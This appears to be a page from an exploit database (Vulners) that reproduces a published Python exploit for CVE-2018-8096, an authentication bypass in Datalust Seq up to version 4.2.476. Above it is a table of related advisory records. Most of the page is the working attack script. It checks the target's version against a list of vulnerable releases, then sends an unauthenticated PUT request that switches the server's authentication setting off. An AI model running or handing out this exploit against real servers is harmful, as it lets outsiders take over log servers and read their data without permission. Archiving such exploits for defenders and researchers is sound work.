| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| Seq 4.2.476 - Authentication Bypass Vulnerability | 3 Aug 201800:00 | – | zdt | |
| CVE-2018-8096 | 3 Aug 201801:22 | – | circl | |
| Datalust Seq Authentication Bypass Vulnerability | 15 Mar 201800:00 | – | cnvd | |
| Datalust Seq Authentication Bypass (CVE-2018-8096) | 12 Oct 202200:00 | – | checkpoint_advisories | |
| CVE-2018-8096 | 14 Mar 201800:00 | – | cve | |
| CVE-2018-8096 | 14 Mar 201800:00 | – | cvelist | |
| EUVD-2018-19773 | 7 Oct 202500:30 | – | euvd | |
| Seq 4.2.476 - Authentication Bypass | 2 Aug 201800:00 | – | exploitpack | |
| CVE-2018-8096 | 14 Mar 201800:29 | – | nvd | |
| CVE-2018-8096 | 14 Mar 201800:29 | – | osv |
# Exploit Title: Seq 4.2.476 - Authentication Bypass
# Date: 2018-08-02
# Exploit Author: Daniel Chactoura
# Vendor Homepage: https://getseq.net/
# Software Link: https://getseq.net/Download/All
# Version: <= 4.2.476
# CVE : CVE-2018-8096
# Post Reference: https://medium.com/stolabs/bypass-admin-authentication-on-seq-17f0f9e02732
# coding=utf-8
#!/bin/python
import sys
import requests
def verifyArgs(args):
if len(args) < 2:
print('[!] Usage: '+str(args[0])+' https://target')
exit(0)
elif 'http' not in str(args[1]):
print('''[!] Missing "https://" !''')
exit(0)
else:
return(1)
def verifyVersion(url):
vulnVersions = ['4.2.476','4.2.470','4.1.17','4.1.16',
'4.1.14','4.0.60','4.0.58','3.4.20',
'3.4.18','3.4.17','3.3.23','3.3.22',
'3.3.21','3.3.20','3.2.16','3.1.17',
'3.1.16','3.0.30','2.4.2','2.3.4',
'2.3.3','2.2.8','2.1.22','2.1.21',
'2.0.19','1.6.13','1.6.12','1.6.11',
'1.6.10','1.6.9','1.6.8','1.6.7',
'1.6.6','1.6.5','1.6.4','1.5.19',
'1.5.18','1.5.17','1.5.16','1.4.12',
'1.4.11','1.4.10','1.4.9','1.4.8',
'1.4.7','1.4.6','1.3.11','1.3.10',
'1.3.9','1.3.8']
u = str(url)
verifV = requests.get(u+'/api/')
verifVJSON = verifV.json()
ver = str(verifVJSON['Version'])[:-2]
if ver in vulnVersions:
print("[+] Seq's version is potentially vulnerable!")
return(1)
else:
print("[!] Seq's version is probably not vulnerable!")
return(0)
def bypassAuth(url):
u = str(url)
payload = "{'Name':'isauthenticationenabled','Value':false,'Id':'setting-isauthenticationenabled','Links':{'Self':'api/settings/setting-isauthenticationenabled','Group':'api/settings/resources'}}"
h = {'User-Agent':'Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0', 'Referer':u}
verifM = requests.put(u+'/api/settings/setting-isauthenticationenabled', data=payload, headers=h)
verifMCode = str(verifM.status_code)
if verifMCode == '200':
print("[:)] YES! Success! Now, access the url and have fun!")
else:
print("[:(] DAMN! This is not your lucky day...")
def main():
try:
if verifyArgs(sys.argv):
if verifyVersion(sys.argv[1]):
bypassAuth(sys.argv[1])
else:
c = input('[?] Do you want to try it anyway? (y/n): ').lower()
if c == 'y':
pass
elif c == 'n':
exit(0)
else:
print('[!] Invalid choice!')
exit(0)
except KeyboardInterrupt:
exit(0)
if __name__ == '__main__':
main()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation